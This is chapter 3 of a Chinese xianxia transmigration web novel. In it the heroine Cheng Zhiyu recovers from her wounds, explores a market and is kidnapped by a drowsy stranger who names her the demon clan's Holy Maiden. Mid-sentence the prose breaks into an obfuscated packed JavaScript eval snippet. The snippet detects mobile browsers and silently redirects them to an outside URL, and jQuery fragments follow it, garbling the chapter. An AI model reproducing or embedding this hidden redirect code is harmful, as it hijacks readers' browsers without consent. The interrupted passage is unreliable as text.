3. 第 3 章

作品:《离恨

    经过连续几日地调养,程知鱼的身体有了明显的好转,身上的伤也在肉眼可见的康复。


    她微微活动了一下自己的手脚,发现并不如前几日那样疼痛难忍,一阵难以抑制的兴奋涌上心头。


    马上把手中的书扔到一旁,想尝试自己走两步,她小心地扶着床起身,生怕再次摔得不省人事。


    都说伤筋动骨一百天,可程知鱼觉得经过这么长时间的调养,她已经基本能平稳地走路,虽然伤口还有些微微泛着疼,但并不影响她急切想要出去透气的心情。


    她推开门,顺着楼梯一步步走下楼去。


    “哎呀!姑娘您怎么下来了!”绿凝抬头一看对上程知鱼的眼神,大惊失色地呼喊了起来。


    绿凝三步并作一步冲过来扶住程知鱼,生怕她突然倒下去,俨然把她当成了瓷娃娃。


    “绿凝,你看。我现在已经恢复得很好了,已经可以自如地行走了。”


    “恢复好了?”绿凝半信半疑地看着她,一缕青色流光从她指尖探出,轻点在程知鱼的眉心,缓缓流入她的经脉。


    “奇怪?”绿凝脸上流露出古怪的神情。“你的体内有另一个人留下的灵力,想必是因为这一丝的灵力,你的伤才能好的这么快。”


    另一个人?


    程知鱼突然想到那日在丛林之中,她重伤晕过去之时,好像看见傅逾白掌心一丝银白色的灵力流入她的身体。


    原来真是他……


    她心尖微微颤动,随即压下心头的一点异样,想马上到外面去走走,好好逛逛修真界。


    “好吧好吧……”


    “但是,你现在身上的外伤虽然看起来恢复的是不错,但内伤还未痊愈,不可以去太远的地方”。绿凝板着一张脸叮嘱着她,活像担心孩子出远门的父母。


    絮絮叨叨地说了一大堆之后,绿凝像是突然想起来什么,单手掐诀,金光闪耀之际,一道符纸落在程知鱼的手中。


    “这是传送符,你要是感觉不舒服,就心中默念想去的地方,这道符纸就会带着你回来。”


    程知鱼好奇地捏了捏符纸,便把它挂在腰间,冲绿凝笑道:“放心吧,我不会有事的。”


    说走就走,一溜烟的功夫,已经离开的医馆在街上玩得乐不思蜀了。


    真不愧是书中的世界啊。


    人潮如织,她有时还会被别人不小心挤到一边,但也并不妨碍她此刻高涨的兴致。


    拥挤的街道两旁摆满了各种各样的摊位,叫卖声此起彼伏。琳琅满目的商品与程知鱼原本的世界大为不同:精致小巧的法器饰品、色香味俱全的美食,每一样都死死吸引了她的目光。


    “瞧一瞧看一看了,上品避水珠,骨折价20颗灵石,买不了吃亏买不了上当……”


    远处商铺传来店主的吆喝声,身旁穿着绫罗绸缎修士模样的人一股脑地挤了过去,都为了争抢这一颗难得的法器。


    程知鱼摸了摸下巴,故作高深地往反方向走,引得别人频频侧目。


    是她不想去凑热闹吗?


    不。


    是她没钱……


    没有系统就算了,灵石也不给……程知鱼觉得不会有比她更倒霉的穿越者了。


    想着自从来到这个世界就没遇到一件顺心的事,她几乎是忍不住哽咽,鼻尖一酸,登时红了眼眶。她用力地眨了眨眼睛,把喉间的酸涩咽了下去。


    这样闹过一通,也少了继续逛下去的兴致,程知鱼手朝腰间探去,想从腰间扯下绿凝给她的传送符回医馆。


    ……


    她的传送符呢!


    程知鱼忙低下头看去,手在腰间不停地摸索依然一无所获。


    完了。


    不仅如此,从刚才开始,程知鱼就隐隐觉得哪里不对劲。


    她猛地抬头往四周看去——刚才还被挤得水泄不通的街道此时空无一人,商贩此起彼伏的叫声被几声嘶哑的鸟叫声取代。


    下一秒,血鸦的喊叫声戛然而止,一双双冒着红光的瞳孔死死盯着她。


    程知鱼紧紧攥着拳头,心跳却一声比一声剧烈,她努力装作无事发生的模样僵硬地继续走,身后的冷汗却早已把衣服浸湿了。


    “呵——”


    一声轻笑突然在她身后响起,在诡异的街道不停地回荡,像一把重锤一下、一下……敲击着她的心脏,那声音在凛冽的寒风里逐渐变得扭曲而凄厉。


    程知鱼仿佛被一双无形的手掐住了脖子,她张了张嘴却发不出任何声音。


    沉重的脚步声一点点逼近她,一步、两步……


    不是吧……


    程知鱼心里有苦说不出,面如死灰,一双手藏在衣袖中止不住地颤抖。


    这原主是有什么必须完成的倒霉kpi吗。


    她的腿有些发软,却始终强迫自己站着不要倒下去


    原因无他——姐们要脸!


    一道清脆的响指声在突然在她耳边炸开。


    程知鱼双眼一闭,说晕就晕了。


    “我没施法啊?”


    一句嘟囔在程知鱼彻底晕过去后慢悠悠消散在街道尽头。


    *


    程知鱼是被冻醒的。


    冷风呼呼地从大大敞开的窗子往里灌,她不由得打了个寒颤。


    她下意识想过去把窗子关上。


    ……


    奇怪,怎么动不了?


    她低头一看。


    哦,原来是被五花大绑在椅子上了……


    她不仅被绑在了一个梳妆台前的椅子上,胸前的绳子还很善良的打了一个蝴蝶结。


    梳妆台前的镜子映照着程知鱼白皙脸庞,圆圆的鹅蛋脸上一双小鹿眼正一动不动地盯着面前的镜子,眼下的泪痣更是添了几分娇俏。如果忽略此时头顶的鸡窝,放在现世也是一个十足的萌妹了。


    但出乎意料的不是原主长得不错,而是这张脸跟程知鱼原本的脸可以说是几乎一模一样!


    难道穿书还能用自己本来的相貌吗?


    她眨了眨眼,仔细端详着镜子里的自己。穿书以来一直没有认真看过这张脸,此时一瞧,倒是在她心里炸出了不小的涟漪。


    “欣赏够了没?”


    一道低哑的声音从她耳边传来,带着一点吊儿郎当的散漫,像是在跟人聊天一般。


    “还没……”


    话音刚落,程知鱼才猛地反应过来她在跟谁说话。


    这是绑匪啊!!


    她巡着声音转头,才突然发现旁边的床上还侧躺着一个俊美男子。他一只手臂微屈撑着脑袋,另一只手中拿着一把玉骨折扇轻轻摇晃着。


    他抬起眼皮,漫不经心地瞥了程知鱼一眼。


    “那你继续。”那男子随口说道,眼皮又闭上了,像是几百年没睡过觉似的,浑身散发着一种不属于他年龄的疲惫之感。


    人在屋檐下,不得不低头……


    程知鱼一边给自己洗脑,一边往脸上堆起谄媚的笑容,从眼中硬生生挤出几滴泪水,声泪俱下道:“大哥,我一没有钱财二没有修为的,您绑架我干什么。”


    说着说着自己入戏颇深似的掉了几滴泪,看起来的确楚楚可怜。


    “你长得不错,我劫色。”


    那床榻上的男子眼睛都没睁,一副要睡到地老天荒的架势。


    那你倒是睁眼说话啊……


    程知鱼小心翼翼地挪动着自己的手腕,试图利用椅子割断绳索,割了半天她手都磨破了,那绳子依旧崭新如初。


    “别白


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093246|195530||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    费力气了,那是捆仙绳,你割不断的。”


    不知何时那男子竟然睁开了眼睛,好整以暇地看着程知鱼刚才的表演。


    士可杀不可辱!


    程知鱼彻底选择摆烂了,她无所畏惧地冲着那男子喊道:“你到底想干什么,杀了我对你有什么好处。”


    那男子打了个呵欠,擦了擦自己因为疲惫而布满眼眶的生理泪水,撑着手臂坐了起来。


    “我哪敢杀我们魔族的圣女大人呢。”那男子百无聊赖地把玩着自己扇子,随口答道。


    哦,原来她是魔族圣女啊……


    蓦地,程知鱼突然睁大了双眼。


    嗯?


    她是魔族圣女?!


    “怎么?难道忘记自己的身份了吗?”


    玄衣男子挑了挑眉,戏谑地看着程知鱼呆楞的模样。


    什么魔族圣女?书里没写啊!


    程知鱼眼睛骤然睁大,指尖不自觉地抓住了捆仙绳,倒吸了一口凉气。她疯狂在脑中回忆书中的描写,在狠狠搜刮好几遍之后,嘴角已经控制不住地抽动起来。


    “这作者就是没写!”


    她闭上了眼睛,似是不愿面对这该死的场面。手心传来一片粘湿之感,她深深吸了一口气,头脑中不停地思索着应对之策,丝毫没有意识到自己的下唇已经被她咬破,隐隐流出了几丝暗红。


    殊不知,她这一系列的反常被那玄衣男子尽收眼底。他微微眯了眯双眼,眼里的疲惫早已荡然无存,眸色变得幽暗危险。


    “不会吧……”


    那男子嘟囔道,像是想到什么不可思议的事情,眼睛却一动不动地盯着程知鱼的方向。


    下一秒,他从床上站了起来,拍了拍自己的外袍,瞬移到了程知鱼眼前。


    “我靠!”


    程知鱼见男子突然出现在眼前,还未反应过来便猛地一抬头,身子大幅度地往后仰。


    “救命!”她顾不得眼前之人是不是绑匪了,下意识用脚勾住了他,堪堪稳住了自己身形。


    玄衣男子扯了扯嘴角,手执玉骨折扇随意挥了一下,程知鱼便稳稳当当地坐了回去。


    她还未来得及松口气,下巴便被折扇轻轻挑起,与折扇主人四目相对。那扇子在程知鱼下巴微微摩挲了一下,随即便收了回去。


    不管了,失忆是块砖,哪里需要哪里搬。


    程知鱼轻咬下唇,低下头,像是有什么难言之隐无法言说,片刻后还是抬起头来,眼角染上了些许绯红,低声说道:“我前些日子受了重伤,伤到脑子了,许多事已经记不得了。”


    说着说着,她指尖深深掐进掌心,逼出了几滴泪要落不落地挂在眼眶上。


    那男子静静地站在她面前,眉头轻挑,目光却森冷异常,像一柄利剑直直刺入她的心头。


    就这样盯着程知鱼看了不知多久,男子突然直起身子,又变成那副懒洋洋的模样,依靠着梳妆台,打了个哈欠。


    “难怪看上去一副呆傻的模样,如果是失忆了倒也正常。”


    那男子煞有介事地点了点头,又突然凑上前来,笑眯眯地问道:“那你还记得我是谁吗?”


    “不记得不记得!”程知鱼脑袋摇的跟拨浪鼓似的,生怕晚说一秒就被他看出这幅皮囊下面早已换了一个壳子。


    “好吧好吧。”那男子直起身子,慢悠悠地走到床边直直地躺了下去,扯过被子把自己盖得严严实实的。随后探出一只手,袖摆轻挥,程知鱼身上的捆仙绳也随之落地。


    “你自己看,有什么不懂的再问我,我先睡了……”


    那男子的声音闷闷地从被子里传出,越来越小,最后彻底没了动静。


    好气……


    绑匪自己能不能认真一点?